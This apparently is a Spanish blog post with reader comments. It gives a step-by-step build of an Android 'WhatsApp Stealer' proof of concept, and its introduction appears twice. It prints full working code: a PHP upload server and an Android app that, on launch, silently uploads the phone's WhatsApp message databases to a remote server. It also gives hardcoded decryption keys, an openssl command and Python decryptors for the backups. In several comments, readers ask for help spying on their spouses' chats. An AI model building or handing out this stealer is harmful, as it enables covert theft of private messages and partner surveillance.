¿Es posible subir y leer los chats de Whatsapp de un smartphone desde otra aplicación de Android? Por supuesto que sí. Sólo necesitamos que la aplicación maliciosa haya sido instalada aceptando los permisos para leer la tarjeta SD del dispositivo (android.permission.READ_EXTERNAL_STORAGE).
Hace unos meses se publicó en algunos foros una guía paso a paso para montar nuestro propio Whatsapp Stealer y ahora Bas Bosschert ha publicado una PoC con unas pocas modificaciones.
Para empezar con la prueba de concepto (y ojo que digo PoC que nos conocemos ;)) tenemos que publicar en nuestro webserver un php para subir las bases de datos de Whatsapp:
Después debemos configurar nuestro php.ini para subir ficheros grandes:
Lo siguiente que necesitamos es crear la aplicación de Android que suba los ficheros de la base de datos de WhatsApp hacia el servidor web. Para ello creamos un proyecto en Eclipse y empezamos modificando el fichero AndroidManifest.xml para solicitar los permisos para leer la tarjeta SD e Internet:
Para la disposición podemos utilizar el diseño predeterminado que crea Eclipse, si acaso podemos mover el TextView al centro y aumentar el tamaño del texto. La subida del fichero ocurre antes de ver el layout, para esta prueba de concepto de este activity_main.xml es lo suficientemente bueno:
A continuación tenemos que crear la función MainActivity.java para subir cada uno de los ficheros:
- /WhatsApp/Databases/msgstore.db
- /WhatsApp/Databases/wa.db
- /WhatsApp/Databases/msgstore.db.crypt
- /WhatsApp/Databases/msgstore.db.crypt5
- /WhatsApp/Databases/msgstore.db.crypt7 (últimas versiones)
msgstore.db y wa.db son bases de datos sin cifrar utilizados en antiguas versiones de Whatsapp. Msgstore.db.crypt está cifrado con AES, pero siempre usando la misma clave tanto para cifrar como descifrar: 346a23652a46392b4d73257c67317e352e3372482177652c.
Por lo tanto podremos descifrarla una vez obtenido mediante:
openssl enc -d -aes-192-ecb -in msgstore.db.crypt -out msgstore.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372482177652c
o mediante el siguiente script en Python:
Y ya está, así de sencillo. Podremos estar leyendo los chats de WhatsApp de las bases de datos extraídas...
Actualización 1: Desde la última actualización (2.11.152), WhatsApp ha cambiado el algoritmo y la clave para cifrar las copias de seguridad en las SD. Los nuevos archivos con extensión "crypt5" se cifran mediante aes-cbc-192.
Para descifrarlo podéis utilizar un script de grbnz0 y nullsub (más información en SbD):
- python pwncrypt5.py msgstore.db.crypt5 grbnz0@gmail.com > msgstore.sdb
Actualización 2: Las últimas versiones de WhatsApp cifran la base de datos con crypt7. También puede descifrarse pero para ello se requiere del archivo Key, que solo se consigue teniendo acceso root en el teléfono.
El método más sencillo es copiar la clave ("/data/data/com.whatsapp/files/key") y, junto con la base de datos, utilizar Whatsapp-viewer:
Hace unos meses se publicó en algunos foros una guía paso a paso para montar nuestro propio Whatsapp Stealer y ahora Bas Bosschert ha publicado una PoC con unas pocas modificaciones.
Para empezar con la prueba de concepto (y ojo que digo PoC que nos conocemos ;)) tenemos que publicar en nuestro webserver un php para subir las bases de datos de Whatsapp:
<?php
// Upload script to upload Whatsapp database
// This script is for testing purposes only.
$uploaddir = "/tmp/whatsapp/";
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br>";
echo "Type: " . $_FILES["file"]["type"] . "<br>";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
$uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']);
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
}
?>
<html><head><title>Shoo.. nothing here</title></head><body><form method="post" enctype="multipart/form-data"><input type="file" name="file" id="file"><input type="submit" value="Submit"></form></body></html>
Después debemos configurar nuestro php.ini para subir ficheros grandes:
...
file_uploads = On
post_max_size = 32M
upload_max_filesize = 32M
Lo siguiente que necesitamos es crear la aplicación de Android que suba los ficheros de la base de datos de WhatsApp hacia el servidor web. Para ello creamos un proyecto en Eclipse y empezamos modificando el fichero AndroidManifest.xml para solicitar los permisos para leer la tarjeta SD e Internet:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="bb.security.whatsappupload"
android:versionCode="1"
android:versionName="1.0" >
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="19" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="bb.security.whatsappupload.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
Para la disposición podemos utilizar el diseño predeterminado que crea Eclipse, si acaso podemos mover el TextView al centro y aumentar el tamaño del texto. La subida del fichero ocurre antes de ver el layout, para esta prueba de concepto de este activity_main.xml es lo suficientemente bueno:
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context=".MainActivity" >
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentTop="true"
android:layout_centerHorizontal="true"
android:layout_marginTop="179dp"
android:text="@string/hello_world"
android:textSize="24sp" />
</RelativeLayout>
A continuación tenemos que crear la función MainActivity.java para subir cada uno de los ficheros:
- /WhatsApp/Databases/msgstore.db
- /WhatsApp/Databases/wa.db
- /WhatsApp/Databases/msgstore.db.crypt
- /WhatsApp/Databases/msgstore.db.crypt5
- /WhatsApp/Databases/msgstore.db.crypt7 (últimas versiones)
package bb.security.whatsappupload;
/*
* This application is for testing purposes only.
* Use of this application is at your own risk.
*/
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import android.os.AsyncTask;
import android.os.Bundle;
import android.os.Environment;
import android.app.Activity;
import android.app.ProgressDialog;
import android.util.Log;
import android.view.Menu;
public class MainActivity extends Activity {
//A ProgressDialog object
private ProgressDialog progressDialog;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
new UploadWhatsApp().execute();
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}
@SuppressWarnings("deprecation")
private void uploadFile(String file) {
HttpURLConnection conn = null;
DataOutputStream dos = null;
DataInputStream inStream = null;
Log.i("FILE", "Filename:\n" + file);
String lineEnd = "\r\n";
String twoHyphens = "--";
String boundary = "*****";
int bytesRead, bytesAvailable, bufferSize;
byte[] buffer;
int maxBufferSize = 1 * 1024 * 1024 * 1024;
String urlString = "http://bas.bosschert.nl/whatsapp/upload_wa.php";
try {
// ------------------ CLIENT REQUEST
FileInputStream fileInputStream = new FileInputStream(new File(
file));
// open a URL connection to the Servlet
URL url = new URL(urlString);
// Open a HTTP connection to the URL
conn = (HttpURLConnection) url.openConnection();
// Allow Inputs
conn.setDoInput(true);
// Allow Outputs
conn.setDoOutput(true);
// Don't use a cached copy.
conn.setUseCaches(false);
// Use a post method.
conn.setRequestMethod("POST");
conn.setRequestProperty("Connection", "Keep-Alive");
conn.setRequestProperty("Content-Type",
"multipart/form-data;boundary=" + boundary);
dos = new DataOutputStream(conn.getOutputStream());
dos.writeBytes(twoHyphens + boundary + lineEnd);
dos.writeBytes("Content-Disposition: form-data; name=\"file\";filename=\""
+ file + "\"" + lineEnd);
dos.writeBytes(lineEnd);
// create a buffer of maximum size
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
buffer = new byte[bufferSize];
// read file and write it into form...
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
while (bytesRead > 0) {
dos.write(buffer, 0, bufferSize);
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
}
// send multipart form data necesssary after file data...
dos.writeBytes(lineEnd);
dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
// close streams
Log.e("Debug", "File is written");
fileInputStream.close();
dos.flush();
dos.close();
} catch (MalformedURLException ex) {
Log.e("Debug", "error: " + ex.getMessage(), ex);
} catch (IOException ioe) {
Log.e("Debug", "error: " + ioe.getMessage(), ioe);
}
// ------------------ read the SERVER RESPONSE
try {
if (conn != null){
inStream = new DataInputStream(conn.getInputStream());
String str;
while ((str = inStream.readLine()) != null) {
Log.e("Debug", "Server Response " + str);
}
inStream.close();
}
} catch (IOException ioex) {
Log.e("Debug", "error: " + ioex.getMessage(), ioex);
}
}
private class UploadWhatsApp extends AsyncTask<Void, Integer, Void>{
@Override
protected void onPreExecute()
{
//Create a new progress dialog
progressDialog = ProgressDialog.show(MainActivity.this,"Loading Application, please wait...",
"Loading, please wait...", false, false);
}
//The code to be executed in a background thread.
@Override
protected Void doInBackground(Void... params)
{
String fileWACrypt = Environment.getExternalStorageDirectory()
.getPath() + "/WhatsApp/Databases/msgstore.db.crypt";
String fileWAPlain = Environment.getExternalStorageDirectory()
.getPath() + "/WhatsApp/Databases/msgstore.db";
String fileWAwa = Environment.getExternalStorageDirectory()
.getPath() + "/WhatsApp/Databases/wa.db";
MainActivity.this.uploadFile(fileWACrypt);
MainActivity.this.uploadFile(fileWAPlain);
MainActivity.this.uploadFile(fileWAwa);
return null;
}
//Update the progress
@Override
protected void onProgressUpdate(Integer... values)
{
//set the current progress of the progress dialog
progressDialog.setProgress(values[0]);
}
//after executing the code in the thread
@Override
protected void onPostExecute(Void result)
{
//close the progress dialog
progressDialog.dismiss();
//initialize the View
setContentView(R.layout.activity_main);
}
}
}
msgstore.db y wa.db son bases de datos sin cifrar utilizados en antiguas versiones de Whatsapp. Msgstore.db.crypt está cifrado con AES, pero siempre usando la misma clave tanto para cifrar como descifrar: 346a23652a46392b4d73257c67317e352e3372482177652c.
Por lo tanto podremos descifrarla una vez obtenido mediante:
openssl enc -d -aes-192-ecb -in msgstore.db.crypt -out msgstore.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372482177652c
o mediante el siguiente script en Python:
#!/usr/bin/env python
import sys
from Crypto.Cipher import AES
try:
wafile=sys.argv[1]
except:
print "Usage: %s <msgstore.db.crypt>" % __file__
sys.exit(1)
key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
cipher = AES.new(key,1)
open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))
Y ya está, así de sencillo. Podremos estar leyendo los chats de WhatsApp de las bases de datos extraídas...
Actualización 1: Desde la última actualización (2.11.152), WhatsApp ha cambiado el algoritmo y la clave para cifrar las copias de seguridad en las SD. Los nuevos archivos con extensión "crypt5" se cifran mediante aes-cbc-192.
Para descifrarlo podéis utilizar un script de grbnz0 y nullsub (más información en SbD):
- python pwncrypt5.py msgstore.db.crypt5 grbnz0@gmail.com > msgstore.sdb
#!/usr/bin/env python
"""
48bits presents:
8===============================================D~~~
WhatsApp msgstore crypt5 decryptor by grbnz0 and nullsub
8===============================================D~~~
"""
import sys
import hashlib
import StringIO
from M2Crypto import EVP
key = bytearray([141, 75, 21, 92, 201, 255, 129, 229, 203, 246, 250, 120, 25, 54, 106, 62, 198, 33, 166, 86, 65, 108, 215, 147])
iv = bytearray([0x1E,0x39,0xF3,0x69,0xE9,0xD,0xB3,0x3A,0xA7,0x3B,0x44,0x2B,0xBB,0xB6,0xB0,0xB9])
def decrypt(db,acc):
fh = file(db,'rb')
edb = fh.read()
fh.close()
m = hashlib.md5()
m.update(acc)
md5 = bytearray(m.digest())
for i in xrange(24): key[i] ^= md5[i&0xF]
cipher = EVP.Cipher('aes_192_cbc', key=key, iv=iv, op=0)
sys.stdout.write(cipher.update(edb))
sys.stdout.write(cipher.final())
if __name__ == '__main__':
if len(sys.argv) != 3:
print 'usage %s > decrypted.db' % sys.argv[0]
else:
decrypt(sys.argv[1],sys.argv[2])
Actualización 2: Las últimas versiones de WhatsApp cifran la base de datos con crypt7. También puede descifrarse pero para ello se requiere del archivo Key, que solo se consigue teniendo acceso root en el teléfono.
El método más sencillo es copiar la clave ("/data/data/com.whatsapp/files/key") y, junto con la base de datos, utilizar Whatsapp-viewer:
algun tutorial para usar el webservre porfa?
ResponderEliminarnos lo apuntamos.. :P
EliminarHola Hugo ya tienes el web server montado ?
ResponderEliminarpodrías poner información sobre cómo montar el webserver?
EliminarLas nuevas bases de datos son .cryp5
ResponderEliminarVicente Motos seria importante actualizar para que suba todas las bases de datos para que también suban las backups, y también el método para las .cryp5
EliminarMuchas gracias por el aviso Oswaldo, ya he actualizado el post :D
EliminarHola amigo !!! Una pedido; alguna forma o explicación de como crackear una aplicación de Android...
ResponderEliminarte agradecería el aporte...
No entiendo nada. Alguien me puede explicar? ??? Gracias! !!
ResponderEliminaranónimo, si no entiendes absolutamente nada creo que es porque te falta base. Si realmente quieres aprender (no sólo robar conversaciones de Whatsapp sin entender cómo) te recomiendo que busques varios tutos de programación e ingeniería inversa en Android y vuelvas a este blog con una pregunta concreta... ánimo!
EliminarPuede alguien ayudarme? El archivo pwncryptr se ejecuta sin errores, pero cuando trato de ejecutar un "select * from chat_list;" aparece el siguiente error:
ResponderEliminarError: Database disk image is malformed
Hola, did you solved the problem? I have same error "Error: Database disk image is malformed" Regards
Eliminarla persona q desee desencryptar un archivo de msgstore-(fecha).db.crypt o msgstore-(fecha).db.crypt5 de whatsapp envienme el archivo al correo y se lo reenviare en formato html para q puedan visualizarlo mi correo es Cortes_198@hotmail
ResponderEliminarsi no quieren perder su privacidad no hagan caso a ese troll,,, aprendan y háganlo ustedes mismos!!!
Eliminarrealmente no troleo a nadie los q m han mandado sus archivos de respaldo les hago la conversion y les envio sus chats pssss
EliminarYo si necesito de tu ayuda pero desde cero tengo la carpeta de un whatss como le hago
EliminarEste comentario ha sido eliminado por el autor.
Eliminarpara este tipo de archivo se podria utilizar Python 2.7 y aplicar el programa segun si es android o iphone?? y asi poder leer el archivo? ademas asi se borren las conversaciones por la aplicacion del whatsapp estan quedaran guardadas en la base de datos???
ResponderEliminarUna pregunta, y si he borrado el archivo de raiz msgstore. db.crypt, puedo recuperar algún tipo de conversación aún utililzando programas como los que comentais? Yo no quiero que se pueda recuperar nada, por eso lo he borrado y no se si borrandolo he conseguido algo.
ResponderEliminarsi se ha borrado la base de datos y es irrecuperable (sobreescrita) entonces no se pueden recuperar la conversaciones...
EliminarHola amigos, si tengo un archivo msgstore.db.crypt5 como puedo saber que usuario de cuenta tiene??? por que no me se el usuario de gmail de ese celular andriod... se puede saber el usuario apartir del archivo???
ResponderEliminaralguien desea un server para montar la base de datos? mandenme un correo a blacksabhat@hotmail.com
ResponderEliminarYo n se nada d hakear.pero alguien me ayudaria a hakear la cuenta del whatsapp de mi esposa?
ResponderEliminarjajajjjajajaja...que pringao, ¿tu esposa te miente?
EliminarCon la ultima actualizacion la base de datos de Whatsapp pasa a Crypt7.
ResponderEliminarComo puedo descifrar crypt7 ???
Eliminarhola Jonathan, he actualizado el post para crypt 7. Un saludo!
EliminarNecesito ayuda para descifrar archivos crypt7 no tengo el key file... alguien me puede ayudar?
EliminarSin ley no hay paraiso amigo...
EliminarDonde se encuentra el key
EliminarEstoy usando SMS BACKUP + APP y tengo un problema. Logro recuperar mis sms, pero no las conversaciones de whatsapp por medio de gmail. Se activo automaticamente el label ´SMS´ pero no hay el de whatsapp. Qué pude haber hecho mal?
ResponderEliminarLo que tengo entendido es que SMS Backup estaba teniendo problemas y ahora ya no se puede respaldar las conversaciones de Whatsapp por gmail.
ResponderEliminarBuenas me pasarias los pasos y/o que programa debo instalar en mi celular para poder descriptar y leer los mensajes de crypt7, por favor!!!!
ResponderEliminarMira la actualización 2... Con whatsapp-viewer y el teléfono rooteado es sencillo...
EliminarGracias, pero con que programa puedo hacerlo? el rooteado? ayudame por favor!!!
EliminarGracias, pero con que programa puedo hacerlo? el rooteado? ayudame por favor!!!
ResponderEliminardepende del modelo de dispositivo y de la rom y versión instalada que tengas. Hay varios métodos y tutoriales en la web para hacerlo.,
Eliminares un sansung galaxy s4 me pasarias algun tutorial que me puedas recomendar de la web? muchas gracias por tus respuestas!
EliminarHola copie toda la carpeta del whatssap a la compu ahora es imposible desencriptarlos? estebandecol@hotmail.com saludos
ResponderEliminarCansada de enganos necesito pruebas pero no manejo bien la computacion, alguien podria ayudarme en un blackberry 9320 programa debo instalar en mi celular para poder descriptar y leer los mensajes del watsapp, por favor!!!! Solo asi podre solventar esta incomoda situacion. Correo kcco2121@hotmail.com
ResponderEliminarResponder
Te ha ayudado alguien? Estoy en tu misma situacion que tu y me encuentro desesperada
EliminarTambién vivo engañada.... Cómo hago para desenmascarar a una persona muy cínica y manipuladora. Por favor!!! Desde ya muchas gracias. Saludos
EliminarHola necesito ayuda para saber que es lo que hace mi pareja todo el rato con el wasap. Ya que esta situación me está dando muchos problemas , desde ya muchas gracias
ResponderEliminarHola man, tengo la aplicación creada y creé un hosting en 000webhosting.com , y quiero saber como funciona; porque tengo creada la apk de la aplicación correctamente, cambiando la url por la del archivo php que creé y está en el hosting.
ResponderEliminar¿Pero en el caso de que me coga los archivos de wa.crypt , etc... ? ...
¿Donde se guardan en mi servidor? ¿Cuanto tarda en subirse?
PD.: ¿Podrías hacer un videotutorial de desencriptar?
Hola, tengo el telefono rooteado, huawei y300, y quiero el archivo key para desencripta .crypt7, he buscado en la carpeta /data y en otras pero no logro encontrarlo, alguien podria decirme como encontrarlo, para navegar uso root explorer, Gracias
ResponderEliminarHola, Mi teléfono se rompió a caer desde una ventana. No pude encontrar la sd ni recuperar la información del teléfono ni sim. Al comprarme otro nuevo terminal, me hicieron una sim nueva y compré sd tb. En la nueva sd no tengo el key por ninguna carpeta. Como puedo saberla para desencriptar cryp7? Gracias por su respuesta.
ResponderEliminarholas! necesito desencriptar cryp7, tengo las databases, pero no puedo acceder a la key, porque no tengo el teléfono rooteado. Cómo puedo hacer para desencriptar sin la key? o cómo puedo acceder al archivo de la key. El móvil es un motorola ironrock con android. Mcuhas gracias
ResponderEliminarNecesito ayuda para descifrar archivos crypt7 que tengo en mi ordenador. Muchas Gracias .juliana7538@hotmail.com
ResponderEliminarJuliana te pregunto ya te ayudaron con tu solicitud yo estoy en las mismas
Eliminarnadie te ha ayudado?
EliminarAmigo tengo el archivo crypt7 en el pc no tengo el telefono se puede leer este archivo y como
ResponderEliminarBuenos días. He hecho todos los pasos y me surge un curioso problema: el archivo “key” no aparece como tal, sino como un archivo llamado “whatsapp” del tipo “entradas del registro”. Y claro, al usar el Whatsapp Viewer no me reconoce el Key.
ResponderEliminarTengo todo correctamente instalado, el proceso se realiza bien, de hecho los archivos “msgstore” y “wa” (los que hay que borrar) aparecen pero no así el Key.
Por favor, ¿alguna sugerencia?
Gracias por anticipado!
Hola, lo primero configura Windows para que te muestre las extensiones de los archivos. Luego elimina temporalmente la asociación key-regedit para probar..
Eliminarhola vicente motos quisiera contactar contigo para hacerte una consulta e copiado la carpeta de databases a mi ordenador desde un telefono y no tengo ya ese telefono entonces queria preguntar si es posible desencriptar un CRYPT8 sin la key de el telefono? y como puedo hacerlo?
EliminarTengo unos archivos crypt7 alguien me puede ayudar a desencriptarlos
ResponderEliminarPpsachy @ gmail.com
Alguien podría Ayudarme a hackear los wassap de mi esposo x favor ? Gracias
ResponderEliminarHola. Una vez borrada la conversación y el archivo guardado en data base, es posible recuperarlo? Gracias.
ResponderEliminarHola alguien podria decirme como debo eliminar de mi s4 una aplicacion que debe estar instalada porque mi esposo recibe todo de mi celular y pc y me molesta porque creo que me engaña y ese es el motivo gracias
ResponderEliminarHe seguido todos los pasos para crypt7 y cuando voy a file open me da error:" could not load chat list. SQLite error:11; database disk image is malformed". A que es debido i que puedo hacer.
ResponderEliminarhola y si lo que quiero es ver mis mensajes borrados... porque con esto solo me deja ver las conversaciones y mensajes que no he eliminado.
ResponderEliminarCómo puedo evitar que algun hijo de puta me hackee el teléfono y vea lo que yo estoy viendo en mi teléfono? ?
ResponderEliminarComo puedo evitar que me hackeen el teléfono y evitar que me roben archivos? Mi teléfono es un samsung galaxi s3 mini
ResponderEliminarGracias por la posible ayuda
No puede ver mis mensajes de whatsapp quisiera descifrarlos pero en el telefono no aparece el archivo key, lo he buscado con root browser y sin root y no aparce dice que el archivo no se encuentra, como podria descifrar este archivo que se encuentra en cryp7 y no tengo la key
ResponderEliminarA mi me pasa lo.mismo.rooteado el.movil. no aparece archivo key,ayuda por favor.
ResponderEliminarhola alguien puede decirme de alguna aplicación en línea para poder desencryptar whatsapp crypt7
ResponderEliminarmanga de frikis, vallan a cojer pedaso de duros y dejen de revisar conver ajenas-!!
ResponderEliminar6861708813 los reto hackeen mi Whats App y publiken lista de mis contactos haber si muy muy
ResponderEliminarok danoslo con un papelito firmado.....
EliminarEste comentario ha sido eliminado por el autor.
Eliminarque ponga quien eres, que es cierto que ese es tu numero de telefono y que nos autorizas a ello.....
ResponderEliminarHola...necesito ayuda urgente...ustedes que pueden... Yo sólo termine la secundaria y desconozco muchas de estas cosas... Quiero ver las conversaciónes de watsap de mi esposo....alguien puede ayudarme...cree o sólo pienso q me engaña se la pasa metido en el watsap... Alguien puede ayudarme.... Mi correo es angel_gela00@hotmail.com escriban y yo ahi les doy el número q quiero jaquear.... Y no se como hacerlo...
ResponderEliminarjejejejeeje lo que pides es un delito y a no ser que sea un delincuente nadie haria algo como eso. Si quieres hazlo tu misma hay bastante info en la Web
Eliminarque mal estamos!! ..dale una patada y punto, te ahorras complicarte la vida desencriptando wasap!
EliminarUy que emocionante ! En carrera voy a descargarla ._., cuando la tienda notifica las actualizaciones disponibles y envía un aviso .-.
ResponderEliminarNecesito ayuda..contrato hacker experimentado,,me están puteando bien.saludos
ResponderEliminarEnrique_mf_1988@hotmail.es
Alguno sabe sobre el nuevo cifrado crypt8 de whatsapp
ResponderEliminarHola yo tengo mismo problema no puedo leer los crypt8.hay alguna actualizacion del viewer?No encuentro nada por la red.thanks
ResponderEliminarla nueva versión del cifrado es relativamente nueva (últimos de noviembre), tiempo al tiempo...
EliminarHola no hai otra manera de aparte de la app android ? Y el telefono q kieres infectar debe de ser rooteado ?
ResponderEliminarHola pero ahora la database estan en la memoria interna... Se podria robar?.
ResponderEliminarHola, cómo puedo obtener una key sin tener que utilizar el teléfono? Tengo la base de datos del whatsapp en mi pc. Gracias.
ResponderEliminarPorfis necesito descencriptar whatsapp urgente y no entiendo nada de computadoras y tngo el archivo crypt quien me colabora!!!! Muchas gracias!!! Harta de los engaños y mentiras.... Necesito pruebas!!!!
ResponderEliminartodos necesitan estan hartos pero nadie dice que pagara una buena cantidad para ayudarlos,si cren que los engañan es tiempo de encarar y salir de esa sona de confort
ResponderEliminarYa hay actualizacio. Para crypt8??
ResponderEliminarAlguien puede decirme si hya una manera de desencriptar un CRYPT8 sin la key? es xk yo copie la database de el telefono a mi ordenador y no volvere a tener acceso a ese telegfono mas pero tengo la database y las converssaciones en mi ordenador lo que no se como desencriptarlo sin la key... Alguien sabe como puedo desencriptarlo sin la key? o si puedo hacerlo con la jkey de otro telefono? o si alguien pouede darme una solucion para pder leer esas conversaciones... gracias... dejarme un correo y yo escribre a ese correo si puedeo hablar con un hacker o informatico mejor...
ResponderEliminarhola a todos.
ResponderEliminaresxiste o conocen la forma de desencriptar crypt7 sin la key????
hola a todos.
ResponderEliminaresxiste o conocen la forma de desencriptar crypt7 sin la key????
Hola Vicente motos, puedes ayudarme? Un amigo esta siendo espiado por su mujer y no sabe como hacer para que a su mujer dejen de llegarle los WhatsApp suyos. Dime algo porfis. Gracias!!
ResponderEliminarentiendo que te refieres a que recibe los mensajes dirigidos a él... ¿su mujer tiene un duplicado de la SIM? supuestamente aunque Whatsapp está asociado a un nº no puede funcionar en dos dispositivos simultáneamente...aunque si he visto casos de excepciones. Hay que averiguar exactamente cómo lo hace...
Eliminartal vez, scaneo el código qr en web.whatsapp, y solo mantiene la sesión abierta xD
EliminarLo digo ASi de claro....quien sepa y quiera hacer un curro extrayendo datos que me avise,buena remuneración...no pido bancos ni rollos de peli,abstenerse primcipiantes...saluditos
ResponderEliminarHola, buenas , SUPONGO que la idea es crear una APP " como servicio" que corra en background, y con permisos internet ,y otros . encontrar las base de datos
ResponderEliminary subirlas (entregarselas a nuestro sitio php) y este las almacene
tenia lla idea similar pero utilizando dconexion ftp modo binario para que la transfereencia se mas rapida.
por favor comentarme un poco mas sobre la idea de este ejemplo.
el escenario podria ser:??:
pasarle la apk a alguna persona " victima"
se instalalo en el movil y luego este empezar a enviarnos lo que necestiammos
basicamente eso seria todo ???
hola como estan tengo un problema con whatsappkeyextract me saca todo los archivos pero el key me sale con el nombre whatsapp pero con otra extencion que puede llegar a ser o como le cambio la extecion muchas gracias.
ResponderEliminarHola tengo un problema aqui:
ResponderEliminar@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
me marca la "R" en rojo, que puede ser?
Por lo tanto con la versión crypt7 pierde toda su esencia la PoC ya que requiere de acceso root
ResponderEliminar¡Buenas noches! :)
ResponderEliminarDisculpa, man. ¿No tienes el código para script10?
Necesito ayuda tengo los archivos crpty7 en una sd, pero no me deja abrir de ninguna forma y ningun programa
ResponderEliminarpodrias ayudarme para poder abrir los archivos.